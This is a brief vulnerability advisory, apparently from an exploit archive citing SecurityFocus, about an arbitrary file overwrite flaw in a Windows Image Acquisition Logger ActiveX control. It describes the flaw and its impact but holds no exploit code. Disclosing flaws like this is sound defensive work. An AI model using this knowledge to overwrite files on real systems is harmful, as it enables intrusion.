Microsoft Windows - Image Acquisition Logger ActiveX Control Arbitrary File Overwrite (2)

source: https://www.securityfocus.com/bid/31069/info
 
Microsoft Windows Image Acquisition Logger ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.
 
An attacker can exploit this issue to overwrite files with attacker-supplied data, which will aid in further attacks.
